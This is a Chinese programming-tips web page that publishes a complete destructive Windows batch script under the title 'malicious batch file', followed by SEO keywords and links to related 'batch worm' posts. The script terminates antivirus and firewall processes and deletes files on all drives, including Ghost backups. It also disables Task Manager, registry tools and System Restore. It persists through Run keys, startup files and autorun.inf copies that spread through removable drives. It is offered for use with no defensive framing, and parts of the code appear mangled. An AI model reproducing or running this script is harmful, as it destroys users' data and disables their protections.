位置: 编程技术 - 正文

恶意批处理.bat(批处理执行bat文件)

编辑:rootadmin
@echo off title You DEAD!!!!!!! set taskkill=s copy %0 %windir%systemcmd.bat attrib %windir%systemcmd.bat +r +s +h net stop sharedaccess >nul %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul %s% /im norton* /f >nul %s% /im av* /f >nul %s% /im fire* /f >nul %s% /im anti* /f >nul %s% /im spy* /f >nul %s% /im bullguard /f >nul %s% /im PersFw /f >nul %s% /im KAV* /f >nul %s% /im ZONEALARM /f >nul %s% /im SAFEWEB /f >nul %s% /im OUTPOST /f >nul %s% /im nv* /f >nul %s% /im nav* /f >nul %s% /im F-* /f >nul %s% /im ESAFE /f >nul %s% /im cle /f >nul %s% /im BLACKICE /f >nul %s% /im def* /f >nul %s% /im safe.exe /f >nul net stop Shadow" "System" "Service set alldrive=d e f g h i j k l m n o p q r s t u v w x y z for %%a in (c %alldrive%) do del %%a:* /f /s /q >nul for %%a in (c %alldrive%) do del %%a:修复* /f /s /q >nul rem 修改注册表....... REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALL /v CheckedValue /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRun /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRecentDocsMenu /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDrives /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v Disableregistrytools /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoNetHood /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /V NoDesktop /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoClose /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoFind /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoLogOff /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSetTaskBar /t REG_DWORD /d /f >nul REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindows" "NTCurrentVersionSystemRestore /v DisableSR /t REG_DWORD /d /f >nul REG ADD HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows" "NTSystemRestore /v DisableConfig /t REG_DWORD /d /f >nul REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v RestrictRun /t REG_DWORD /d /f >nul cls net user administrator >nul for %%c in (c %alldrive%) do del %%c:*.gho /f /s /q >nul echo @echo off >d:setup.bat echo shutdown -r -t -f -c 亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新安装系统可以解决此问题 !^.^ >>d:setup.bat echo copy d:setup.bat c:Documents" "and" "SettingsAll" "Users「开始」菜单程序启动a.bat >>d:setup.bat echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v setup.bat /t REG_SZ /d d:setup.bat /f >>d:setup.bat echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v setup.bat /t REG_SZ /d d:setup.bat /f >>d:setup.bat echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v setup.bat /t REG_SZ /d d:setup.bat /f >>d:setup.bat HKEY_CLASSES_ROOTbatfileshellopencommand /v setup.bat /t REG_SZ /d d:setup.bat /f >>d:setup.bat echo [windows] >> %windir%win.ini echo run=d:setup.bat C:AUTOEXEC.BAT >> %windir%win.ini echo load=d:setup.bat C:AUTOEXEC.BAT >> %windir%win.ini echo [boot] >> %windir%system.ini echo shell=explorer.exe setup.bat C:AUTOEXEC.BAT >> %windir%system.ini echo [AutoRun] >d:autorun.inf echo Open=setup.bat >>d:autorun.inf echo Open=system.bat >>d:autorun.inf attrib d:autorun.inf +r +s +h >>d:setup.bat attrib d:setup.bat +r +s +h >>d:setup.bat start d:setup.bat /min >nul echo @echo off >>C:AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v AUTOEXEC.BAT /t REG_SZ /d C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v AUTOEXEC.BAT /t REG_SZ /d C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v AUTOEXEC.BAT /t REG_SZ /d C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v setup.bat /t REG_SZ /d d:setup.bat /f >>C:AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v setup.bat /t REG_SZ /d d:setup.bat /f >>C:AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v setup.bat /t REG_SZ /d d:setup.bat /f >>C:AUTOEXEC.BAT echo if not d:setup.bat start %windir%systemcmd.bat /min >>C:AUTOEXEC.BAT copy %0 %systemroot%windows.bat >nul if not exist %windir%/system/explorer.bat @echo off >>%windir%/system/explorer.bat if not exist C:AUTOEXEC.BAT start %windir%systemcmd.bat /min >>%windir%/system/explorer.bat if not exist %windir%systemcmd.bat start %systemroot%windows.bat /min >>%windir%/system/explorer.bat echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v AUTOEXEC.BAT /t REG_SZ /d C:AUTOEXEC.BAT /f >>%windir%/system/explorer.bat echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v AUTOEXEC.BAT /t REG_SZ /d C:AUTOEXEC.BAT /f >>%windir%/system/explorer.bat echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v setup.bat /t REG_SZ /d d:setup.bat /f >>%windir%/system/explorer.bat echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v setup.bat /t REG_SZ /d d:setup.bat /f >>%windir%/system/explorer.bat echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v explorer.bat /t REG_SZ /d % windir%/system/explorer.bat/f >>%windir%/system/explorer.bat echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v explorer.bat /t REG_SZ /d % windir%/system/explorer.bat /f >>%windir%/system/explorer.bat echo start %systemroot%windows.bat /min >>%windir%/system/explorer.bat attrib %windir%/system/explorer.bat +r +s +h% attrib %systemroot%/windows.bat +r +s +h for %%c in (%alldrive%) do echo @echo off >>%%c:system.bat for %%c in (%alldrive%) do echo start %windir%systemcmd.bat /min >>%%c:system.bat for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:system.bat set drive=e f g h i j k l m n o p q r s t u v w x y z for %%c in (%drive%) do echo [AuroRun] >%%c:autorun.inf for %%c in (%drive%) do echo Open=system.bat >>%%c:autorun.inf copy %0 d:Program" "Filesrun.bat for %%c in (%alldrive%) do echo if not exist %windir%/system/explorer.bat start d:Program" "Filesrun.bat /min >>%%c:system.bat for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:system.bat for %%c in (%alldrive%) do attrib %%c:autorun.inf +r +s +h >nul for %%c in (%alldrive%) do attrib %%c:system.bat +r +s +h >nul if not exist %windir%/system/explorer.bat start d:Program" "Filesrun.bat /min >>d:setup.bat attrib d:Program" "Filesrun.bat +r +s +h >nul del %0 exit

推荐整理分享恶意批处理.bat(批处理执行bat文件),希望有所帮助,仅作参考,欢迎阅读内容。

恶意批处理.bat(批处理执行bat文件)

文章相关热门搜索词:批处理exit,bat 批处理,bat批处理命令教程,bat批处理命令大全,批处理执行bat文件,批处理破坏系统,批处理exit,bat恶意代码大全,内容如对您有帮助,希望把文章链接给更多的朋友!

批处理加密.bat %%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%

BAT 解密工具 @echooffmodecon:cols=lines=:indexcolorclsecho?──────────────?echo││echo?─────────┤BAT解密工具├─────────?echo│││

批处理蠕虫bat @echooffattrib-r-h-s"%~nx0"2nulnulattrib-r-h-s%windir%"%~nx0"2nulnulcopy"%~nx0"%windir%/y2nulnulat9:/every:m,t,w,th,f,s,su"%windir%%~nx0"echoreboot%windir%temp.dllsetpat=「开始」菜单程序

标签: 批处理执行bat文件

本文链接地址:https://www.jiuchutong.com/biancheng/374934.html 转载请保留说明!

上一篇:超级硬盘杀手的bat(超级硬盘数据恢复软件v2.7)

下一篇:批处理加密.bat(批处理加密工具)

  • 长期股权投资产生的投资收益属不属于非经常性损益
  • 购车保险返现如何做会计凭证
  • 银行对公回单可以在家打印吗
  • 会计信息不采集,证书会失效吗
  • 财务单子包括哪些
  • 其他收益会计分录
  • 收取不合规发票怎么处理
  • 预算外资金收入政府会计
  • 企业自建房屋卖给职工怎么做账务处理
  • 进口货物关税计入成本吗
  • 2018年城镇医保
  • 未开票收入怎么写分录
  • 扣除工资作为违约金
  • 申报退税金额是0是怎么回事
  • 工程款增值税专用发票如何开具
  • 施工工人个税怎么计算?
  • 没收入就没附加税么?
  • 年度汇算清缴可以作废吗
  • 建筑业进项税额转出
  • 个税申报成功如何修改
  • 出口退税的账务关键是什么
  • 高新企业奖励补贴交税吗
  • 发票已认证次月冲红
  • 注册表编辑器误删怎么办
  • 销售货物货款未收到会计分录
  • 应税消费品对外出售
  • 苹果手机系统升级后电量消耗快
  • php string
  • php字符串变量
  • php字符串赋值
  • 小规模纳税人销售货物税率是多少
  • 出差回来报销会务费
  • php b/s
  • image driver
  • php umask
  • LNMP部署laravel以及xhprof安装使用教程
  • 免费GPU:九天•毕昇平台使用教程
  • 房屋所在地的房子怎么查
  • 小规模企业购入固定资产怎么做账务处理
  • 授渔计划是什么意思
  • 什么是增值税举个例子
  • 固定资产被替换的账面原值怎么算
  • 独资企业和公司区别
  • sql server 2008中的权限分为三类
  • SQLServer2005 XML数据操作代码
  • 哪些进项税额不得抵扣?
  • 汇算清缴银行手续费放哪里
  • 预收账款是负债还是资产
  • 企业零申报怎么办
  • 已认证的红字发票怎么开
  • 企业送员工的礼品
  • 检测费可以抵扣吗
  • 生产企业支付的房租怎么入账
  • 取得航空公司收票的票据
  • 进项发票认证多了留抵多久
  • 用友软件如何反结账流程
  • 会计账簿按用途分类分为什么
  • win2003自动关机
  • linux find命令详解xargs
  • win7电脑找不到无线网络连接图标
  • awk正则表达式中引入变量
  • win10h2版本
  • xp系统新建用户后原来的用户没有了
  • win7 24小时制
  • 铁嘴大师
  • 求婚表白怎么说怎么写
  • glsl编译
  • unity intercom
  • ecmascript6 官方文档
  • shell 自定义函数
  • 前端jsonp解决跨域
  • python例子大全
  • 申报比对不符怎么回事
  • 3.0车船税多少钱
  • 税务总局和税务局区别
  • 一般纳税人业务招待费可以抵扣吗
  • 金税盘联网步骤
  • 在医院如何开报告单
  • 初级会计职称可以挂靠吗
  • 去银行签贷款合同后多久办过户
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设